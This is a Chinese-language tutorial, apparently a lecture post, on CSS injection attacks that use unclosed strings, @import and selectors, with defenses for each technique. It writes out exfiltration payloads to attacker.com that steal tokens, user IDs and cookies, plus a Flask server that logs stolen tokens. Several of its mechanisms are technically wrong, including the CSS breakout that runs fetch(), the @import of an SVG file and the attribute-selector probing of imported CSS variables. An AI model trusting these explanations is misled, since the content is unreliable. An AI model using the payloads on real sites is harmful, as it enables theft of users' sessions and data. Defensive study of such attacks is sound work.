CSS 注入攻击(Scriptless Injection):利用未闭合的字符串与 import 窃取页面数据
大家好,今天我们要深入探讨一种隐蔽且强大的 Web 安全漏洞:CSS 注入攻击,特别是那些利用未闭合的字符串和 @import 规则的 Scriptless Injection 技术。这种攻击方式之所以值得关注,是因为它不需要直接插入 JavaScript 代码,就能在特定情况下窃取敏感数据,绕过一些常见的安全防护措施。
1. 传统 CSS 注入与 Scriptless Injection 的区别
传统的 CSS 注入攻击通常依赖于在 CSS 中插入 expression() 属性(在 IE7 及更早版本中存在)或者使用 url() 函数执行 JavaScript 代码。然而,现代浏览器已经移除了 expression(),并对 url() 函数执行 JavaScript 进行了限制。
Scriptless Injection 则另辟蹊径,它不直接执行脚本,而是巧妙地利用 CSS 的特性,例如未闭合的字符串和 @import 规则,来间接获取或泄露信息。这种方法更隐蔽,更难被传统的安全检测工具发现。
2. 未闭合的字符串与数据泄露
CSS 中字符串可以使用单引号 (') 或双引号 (") 包裹。如果一个字符串没有正确闭合,浏览器会尝试解析后续的内容,直到找到一个匹配的引号或者到达 CSS 的末尾。我们可以利用这个特性来窃取 HTML 属性中的数据。
假设存在如下 HTML 结构:
<div style="background: url('https://example.com/images/image.jpg?token=USER_TOKEN')">...</div>
其中 USER_TOKEN 是用户的敏感令牌,我们无法直接获取它。但是,如果网站允许我们注入 CSS 代码,我们可以利用未闭合的字符串来提取这个令牌。
例如,我们注入如下 CSS 代码:
body {
background: url(';
background: url(");
background: url();
background: url(');
background: url(");
background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=);
background: url(');
background: url(");
background: url(https://attacker.com/log?token=
这段代码的意图是:首先通过一系列 background: url() 尝试闭合原始 HTML 中的 url() 函数,并用 data:image/png 作为一个无害的图像来防止浏览器报错。最后,通过 https://attacker.com/log?token= 构造一个新的 URL,尝试将 USER_TOKEN 附加到这个 URL 上,并将其发送到攻击者的服务器。
实际上,由于原始 HTML 中的单引号没有闭合,浏览器会将 USER_TOKEN')">...</div> 的一部分解析为 URL 的一部分,从而将令牌发送到攻击者服务器。
代码示例 (模拟攻击者服务器):
from flask import Flask, request
app = Flask(__name__)
@app.route('/log')
def log_token():
token = request.args.get('token')
print(f"Received token: {token}")
# 将 token 保存到日志或数据库
return "Token received", 200
if __name__ == '__main__':
app.run(debug=True, port=5000)
这段 Python 代码使用 Flask 框架创建一个简单的 Web 服务器,监听 /log 路由,并从请求参数中提取 token。攻击者可以通过分析服务器日志来获取被盗取的令牌。
防御措施:
- 内容安全策略 (CSP): CSP 可以限制浏览器可以加载资源的来源。通过设置
default-src 'self'或更严格的策略,可以阻止浏览器加载来自攻击者域的资源。 - 输入验证与过滤: 对用户提供的 CSS 代码进行严格的验证和过滤,移除或转义潜在的恶意字符,例如单引号、双引号和 URL。
- 输出编码: 在将数据插入到 HTML 属性中时,进行适当的输出编码,例如使用
htmlspecialchars()函数 (PHP) 或类似的函数,以防止 HTML 注入。
3. @import 规则与信息窃取
@import 规则允许在 CSS 文件中引入其他的 CSS 文件。我们可以利用 @import 规则将目标网站的 CSS 文件引入到我们的恶意 CSS 文件中,并利用 CSS 选择器来提取信息。
考虑以下场景:网站动态生成 CSS,其中包含一些敏感信息,例如用户名或用户 ID。
/* style.php */
body {
--user-id: USER_ID;
}
我们可以通过 @import 将这个 CSS 文件引入到我们的恶意 CSS 文件中:
/* attacker.css */
@import url("https://example.com/style.php");
body::before {
content: "User ID: " var(--user-id);
/* 理论上,这段代码会将 User ID 显示在页面的 body 前面。
实际上,这样做通常行不通,因为跨域问题和内容安全策略的限制。
但可以配合其他技术,例如 CSS 选择器,来窃取信息。*/
}
虽然直接读取 CSS 变量通常受到跨域限制,但我们可以利用 CSS 选择器来探测特定 CSS 变量是否存在,并根据结果加载不同的资源。
例如,我们可以使用以下 CSS 代码来探测 --user-id 的值是否为特定的数字:
/* attacker.css */
@import url("https://example.com/style.php");
@keyframes check-user-id-123 {
0% { background: url("https://attacker.com/log?user_id=123"); }
}
body[style*="--user-id: 123"] {
animation: check-user-id-123 1s steps(1);
}
这段代码的逻辑是:
- 引入目标 CSS 文件
style.php。 - 定义一个名为
check-user-id-123的关键帧动画。 - 使用属性选择器
body[style*="--user-id: 123"]来检查body元素的style属性是否包含字符串--user-id: 123。 - 如果包含该字符串,则应用
check-user-id-123动画,从而加载攻击者服务器上的https://attacker.com/log?user_id=123资源。
通过不断尝试不同的数字,攻击者可以逐渐推断出 USER_ID 的值。
代码示例 (HTML):
<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Page</title>
<link rel="stylesheet" href="style.php">
<link rel="stylesheet" href="attacker.css">
</head>
<body>
<!-- Content of the page -->
</body>
</html>
代码示例 (style.php):
<?php
$userId = rand(100, 200); // 随机生成一个用户 ID
header("Content-Type: text/css");
?>
body {
--user-id: <?php echo $userId; ?>;
}
防御措施:
- 避免在 CSS 中包含敏感信息: 尽量避免在 CSS 文件中包含敏感信息,例如用户 ID、令牌或密码。如果必须包含,应该对这些信息进行加密或哈希处理。
- 内容安全策略 (CSP): 使用 CSP 限制 CSS 文件的来源。例如,可以设置
style-src 'self'来只允许加载来自同一域的 CSS 文件。 - 隔离 CSS 环境: 使用 Shadow DOM 或 iframe 等技术来隔离 CSS 环境,防止恶意 CSS 代码影响其他页面元素。
- 定期审查 CSS 代码: 定期审查 CSS 代码,查找潜在的安全漏洞,例如未闭合的字符串、
@import规则和可疑的 CSS 选择器。
4. 利用 CSS 滤镜 (Filters) 和 SVG 窃取数据
虽然直接使用 CSS 滤镜窃取数据比较困难,但结合 SVG 和 @import,可以构造出更复杂的攻击场景。
例如,我们可以利用 CSS 滤镜来模糊处理页面内容,然后利用 SVG 滤镜来反转颜色,从而提取隐藏的信息。
假设页面上有一个隐藏的文本,使用 CSS 滤镜进行模糊处理:
<div style="filter: blur(5px);">
<span style="color: white; background-color: black;">SECRET_DATA</span>
</div>
我们可以创建一个 SVG 滤镜,反转颜色并锐化图像,从而恢复隐藏的文本:
<!-- attacker.svg -->
<svg xmlns="http://www.w3.org/2000/svg">
<filter id="reveal">
<feColorMatrix type="matrix" values="-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0"/>
<feConvolveMatrix kernelMatrix="3 0 0 0 -7 0 0 0 3"/>
</filter>
</svg>
然后,我们可以使用 @import 将 SVG 滤镜引入到 CSS 中,并将其应用到页面元素上:
/* attacker.css */
@import url("attacker.svg");
div {
filter: url(#reveal);
}
虽然这种攻击方式比较复杂,但它展示了 CSS 注入攻击的潜在威胁。
防御措施:
- 限制 SVG 文件的上传: 限制用户上传 SVG 文件,或者对上传的 SVG 文件进行严格的审查,移除潜在的恶意代码。
- 使用 CSP 限制 SVG 文件的来源: 使用 CSP 限制 SVG 文件的来源,只允许加载来自受信任域的 SVG 文件。
- 避免使用 CSS 滤镜隐藏敏感信息: 尽量避免使用 CSS 滤镜隐藏敏感信息,因为攻击者可能利用 SVG 滤镜或其他技术来恢复这些信息。
5. 其他攻击技巧
- 利用 CSS 动画和过渡: 可以利用 CSS 动画和过渡来触发某些事件,例如在鼠标悬停时加载恶意资源。
- 利用 CSS 变量进行信息泄露: 虽然直接读取 CSS 变量通常受到跨域限制,但可以通过 CSS 选择器和动画来探测 CSS 变量的值,从而泄露信息。
- 结合其他 Web 安全漏洞: CSS 注入攻击通常与其他 Web 安全漏洞结合使用,例如 XSS 或 CSRF,以实现更强大的攻击效果。
6. 防御策略的综合应用
仅仅依赖单一的安全措施是不够的,我们需要采取多层次的防御策略,才能有效地防止 CSS 注入攻击。
| 防御措施 | 描述 | 优点 | 缺点 |
|---|---|---|---|
| 内容安全策略 (CSP) | 限制浏览器可以加载资源的来源,例如脚本、样式表和图片。 | 有效地阻止加载来自恶意域的资源,降低 XSS 攻击的风险。 | 配置复杂,需要仔细规划和测试,否则可能导致网站功能受损。 |
| 输入验证与过滤 | 对用户提供的 CSS 代码进行严格的验证和过滤,移除或转义潜在的恶意字符。 | 减少恶意 CSS 代码注入的可能性,防止未闭合的字符串和 @import 规则被利用。 |
可能存在绕过风险,需要不断更新和改进过滤规则。 |
| 输出编码 | 在将数据插入到 HTML 属性中时,进行适当的输出编码,例如使用 htmlspecialchars() 函数。 |
防止 HTML 注入,降低 XSS 攻击的风险。 | 可能会影响数据的显示效果,需要根据具体情况选择合适的编码方式。 |
| 避免在 CSS 中包含敏感信息 | 尽量避免在 CSS 文件中包含敏感信息,例如用户 ID、令牌或密码。 | 降低敏感信息泄露的风险,即使 CSS 注入攻击成功,攻击者也无法获取有价值的信息。 | 可能需要重新设计网站架构,增加开发成本。 |
| 隔离 CSS 环境 | 使用 Shadow DOM 或 iframe 等技术来隔离 CSS 环境,防止恶意 CSS 代码影响其他页面元素。 | 限制恶意 CSS 代码的影响范围,降低攻击造成的损害。 | 可能会增加网站的复杂性,影响性能。 |
| 定期审查 CSS 代码 | 定期审查 CSS 代码,查找潜在的安全漏洞,例如未闭合的字符串、@import 规则和可疑的 CSS 选择器。 |
及时发现和修复安全漏洞,防止攻击者利用这些漏洞进行攻击。 | 需要投入人力和时间,成本较高。 |
| 使用 Subresource Integrity (SRI) | 确保浏览器加载的第三方资源(例如 CSS 文件)未被篡改。通过验证资源的哈希值,可以防止攻击者替换原始文件为恶意文件。 | 防止第三方资源被篡改,降低供应链攻击的风险。 | 需要维护资源的哈希值,如果资源更新,需要更新哈希值。 |
| 监控和日志记录 | 监控网站的 CSS 注入攻击尝试,并记录相关的日志信息。通过分析日志,可以及时发现攻击行为,并采取相应的应对措施。 | 及时发现和响应攻击行为,降低攻击造成的损害。 | 需要投入额外的资源进行监控和日志分析。 |
7. 实战案例分析
让我们分析一个简单的实战案例,来说明如何利用未闭合的字符串进行 CSS 注入攻击。
假设有一个论坛网站,允许用户自定义个人资料的背景图片。用户可以上传图片,也可以提供图片的 URL。网站会将用户提供的 URL 插入到 CSS 样式中,作为 background-image 的值。
<div class="profile-background" style="background-image: url('USER_PROVIDED_URL')">...</div>
如果网站没有对用户提供的 URL 进行严格的验证和过滤,攻击者可以构造一个恶意的 URL,利用未闭合的字符串来窃取信息。
例如,攻击者可以提供以下 URL:
'); fetch('https://attacker.com/log?cookie=' + document.cookie);//
这段 URL 的意图是:
- 闭合原始 HTML 中的单引号。
- 执行 JavaScript 代码,将用户的 Cookie 发送到攻击者服务器。
由于网站没有对 URL 进行严格的过滤,浏览器会将这段恶意代码插入到 CSS 样式中,并执行其中的 JavaScript 代码。从而导致用户的 Cookie 被盗取。
防御措施:
- 验证 URL 的有效性: 验证用户提供的 URL 是否有效,例如检查 URL 是否包含协议头 (http:// 或 https://) 以及是否指向有效的图片文件。
- 过滤 URL 中的特殊字符: 过滤 URL 中的特殊字符,例如单引号、双引号和 JavaScript 代码。
- 使用 CSP 限制脚本的执行: 使用 CSP 限制脚本的执行,阻止执行来自恶意域的脚本。
- 设置 HttpOnly 标志: 设置 HttpOnly 标志,防止 JavaScript 代码访问 Cookie。
8. 持续学习与安全意识
Web 安全是一个不断发展的领域,新的攻击技术和防御方法层出不穷。作为开发人员和安全人员,我们需要保持持续学习的态度,关注最新的安全动态,并不断提升自己的安全意识。
- 关注 OWASP: OWASP (Open Web Application Security Project) 是一个开源的 Web 应用安全项目,提供了大量的安全资源,包括安全指南、工具和文档。
- 参加安全培训: 参加安全培训课程,学习最新的 Web 安全技术和防御方法。
- 阅读安全博客和论文: 阅读安全博客和论文,了解最新的安全动态和研究成果。
- 参与安全社区: 参与安全社区的讨论,与其他安全专家交流经验和知识。
CSS 注入攻击的威胁仍然存在
CSS 注入攻击,特别是 Scriptless Injection,是一种隐蔽且强大的 Web 安全漏洞。 通过理解其原理和防御方法,我们可以更好地保护我们的 Web 应用免受攻击。 重要的是要采取多层次的防御策略,并保持持续学习的态度,才能有效地应对不断变化的安全威胁。
更多IT精英技术系列讲座,到智猿学院